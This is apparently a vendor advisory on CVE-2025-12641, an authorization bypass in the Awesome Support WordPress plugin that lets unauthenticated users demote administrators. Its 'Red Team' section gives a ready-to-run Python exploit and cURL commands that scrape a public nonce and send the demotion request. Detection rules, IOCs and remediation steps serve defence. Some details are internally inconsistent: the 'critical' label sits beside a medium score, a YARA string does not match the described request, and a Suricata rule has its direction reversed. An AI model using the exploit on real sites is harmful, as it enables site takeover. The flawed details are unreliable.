CVE-2025-12641

Executive Summary

CVE-2025-12641 is a critical authorization bypass vulnerability in the Awesome Support - WordPress HelpDesk & Support Plugin (versions up to and including 6.3.6). The flaw resides in the wpas_do_mr_activate_user function, which fails to verify that the requesting user has the necessary capabilities to modify other users' roles. This is compounded by a nonce reuse vulnerability where public registration nonces are valid for privileged actions due to a shared nonce namespace. An unauthenticated attacker can exploit this to demote administrators to low-privilege roles, effectively taking over the WordPress site by stripping administrative access from legitimate users.

This vulnerability is particularly dangerous because it requires no authentication and can be triggered by simply accessing a publicly available registration or ticket submission page to extract a valid nonce. The impact is high on integrity, as an attacker can alter user roles, but confidentiality and availability are not directly affected. The EPSS score is currently 0.0%, indicating low exploitation activity, but the public availability of the proof-of-concept and the unpatched status make it a high-priority target for threat actors.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Organizations using the Awesome Support plugin should immediately audit their installations and apply any available patches. Since the plugin is part of the WordPress ecosystem, the supply chain risk is moderate; however, the lack of a patch from the vendor increases the risk of supply chain attacks through compromised plugin updates or third-party integrations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Unauthenticated.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: High (I:H) – Attacker can modify user roles.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. Despite the medium CVSS score, the ease of exploitation (no authentication, low complexity) and the potential for complete site takeover (by demoting all administrators) elevate the real-world risk. The unpatched status and public PoC make it a prime target for automated attacks.

Deep Dive & Mechanics

The vulnerability is a combination of two weaknesses:

1. Missing Capability Check: The wpas_do_mr_activate_user function in the Awesome Support plugin does not verify that the current user has the edit_users or promote_users capability before processing a user role change. This function is intended for internal use but is exposed via AJAX or direct URL access.

2. Nonce Reuse: The plugin uses a single nonce namespace for all actions, including public-facing actions like user registration and ticket submission. This means a nonce generated for a public action (e.g., submitting a support ticket) is also valid for privileged actions like mr_activate_user. An attacker can obtain a valid nonce by visiting a publicly accessible page (e.g., /wp-json/awesome-support/v1/ticket or the registration form) and then reuse that nonce in a crafted request to demote an administrator.

Attack Flow:

1. Attacker visits a public page (e.g., ticket submission form) and extracts a valid nonce from the page source or AJAX response.
2. Attacker crafts a POST request to the WordPress admin-ajax.php or a custom endpoint with parameters: action=wpas-do&do=mr_activate_user&user_id=<target_admin_id>&_wpnonce=<extracted_nonce>.
3. The plugin processes the request without checking capabilities, demoting the target administrator to a low-privilege role (e.g., subscriber).
4. The attacker can then log in with default credentials or exploit other vulnerabilities to gain full control.

Vulnerable vs. Patched Code

Vulnerable Code (Awesome Support <= 6.3.6):

function wpas_do_mr_activate_user() {
    $user_id = intval($_POST['user_id']);
    $user = new WP_User($user_id);
    $user->set_role('subscriber');
    // No capability check before role change
}

Patched Code (Hypothetical fix):

function wpas_do_mr_activate_user() {
    if (!current_user_can('edit_users')) {
        wp_die('Unauthorized');
    }
    $user_id = intval($_POST['user_id']);
    $user = new WP_User($user_id);
    $user->set_role('subscriber');
}

The patch adds a capability check using current_user_can('edit_users') to ensure only users with the appropriate permissions can modify roles. Additionally, the nonce namespace should be separated for public and privileged actions to prevent reuse.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target WordPress site with Awesome Support plugin <= 6.3.6 installed and active.
• A valid nonce from a public page (e.g., ticket submission form).
• Target user ID of an administrator (can be enumerated via user ID brute-force or other means).

Exploit Script (Python):

import requests
import re

target_url = "http://target-wordpress-site.com"
admin_user_id = 1  # Change to target admin ID

# Step 1: Extract nonce from public page
response = requests.get(f"{target_url}/wp-json/awesome-support/v1/ticket")
nonce_match = re.search(r'"nonce":"([a-f0-9]+)"', response.text)
if nonce_match:
    nonce = nonce_match.group(1)
else:
    print("Failed to extract nonce")
    exit()

# Step 2: Exploit the vulnerability
exploit_url = f"{target_url}/wp-admin/admin-ajax.php"
payload = {
    "action": "wpas-do",
    "do": "mr_activate_user",
    "user_id": admin_user_id,
    "_wpnonce": nonce
}
response = requests.post(exploit_url, data=payload)
if response.status_code == 200:
    print(f"Admin user {admin_user_id} demoted successfully")
else:
    print("Exploit failed")

Manual Exploitation (cURL):

# Extract nonce
NONCE=$(curl -s http://target-wordpress-site.com/wp-json/awesome-support/v1/ticket | grep -oP '"nonce":"\K[a-f0-9]+')

# Exploit
curl -X POST http://target-wordpress-site.com/wp-admin/admin-ajax.php \
  -d "action=wpas-do&do=mr_activate_user&user_id=1&_wpnonce=$NONCE"

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual POST requests to admin-ajax.php with action=wpas-do and do=mr_activate_user.
2. Alert on any role changes for administrator accounts, especially demotions to subscriber or other low-privilege roles.
3. Review server logs for requests containing user_id parameter in conjunction with wpas-do action.
4. Implement Web Application Firewall (WAF) rules to block requests with do=mr_activate_user from unauthenticated users.

Honeypot Setup:

• Create a fake admin user with a high user ID (e.g., 9999) and monitor for demotion attempts.
• Log all nonce usage and flag any nonce that is used for both public and privileged actions.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with parameters action=wpas-do and do=mr_activate_user.
  • Requests containing user_id parameter with values corresponding to administrator user IDs.
  • Nonce values that appear in both public pages (e.g., ticket submission) and privileged actions.

• System IOCs:

  • Unexpected role changes in WordPress user database (e.g., administrator demoted to subscriber).
  • New user registrations with administrator privileges (if attacker escalates after demotion).
  • Modified wp_usermeta table entries for wp_capabilities.

• File IOCs:

  • Modified plugin files in /wp-content/plugins/awesome-support/ (if attacker uploads backdoor).
  • Suspicious entries in WordPress debug log (if enabled) related to wpas_do_mr_activate_user.

Detection Engineering

YARA Rule

rule CVE_2025_12641_Awesome_Support_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-12641 in Awesome Support plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-12641"
    strings:
        $exploit_pattern = "wpas-do=mr_activate_user" ascii wide nocase
        $nonce_pattern = "_wpnonce=" ascii wide nocase
        $user_id_pattern = "user_id=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-12641 Awesome Support Authorization Bypass
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2025-12641 targeting Awesome Support plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'action=wpas-do'
            - 'do=mr_activate_user'
            - 'user_id='
            - '_wpnonce='
    condition: selection
falsepositives:
    - Legitimate plugin functionality (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-12641 Awesome Support Authorization Bypass Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=wpas-do"; http_client_body;
    content:"do=mr_activate_user"; http_client_body;
    content:"user_id="; http_client_body;
    content:"_wpnonce="; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Awesome Support plugin until a patch is released by the vendor.
2. Manually patch the vulnerable function by adding a capability check (see patched code above) and separating nonce namespaces.
3. Change all administrator passwords and review user roles for any unauthorized changes.
4. Implement a Web Application Firewall (WAF) rule to block requests containing do=mr_activate_user from unauthenticated users.

Long-term Mitigations:

1. Monitor the vendor's website for official patches and apply them immediately.
2. Conduct a security audit of all WordPress plugins to identify similar authorization bypass vulnerabilities.
3. Implement principle of least privilege for all WordPress users and roles.
4. Enable logging and monitoring for all user role changes and nonce usage.

Workaround:

• If the plugin cannot be disabled, restrict access to admin-ajax.php using .htaccess or server-level rules to only allow authenticated requests for sensitive actions.

Valters IT
Securing Digital Frontiers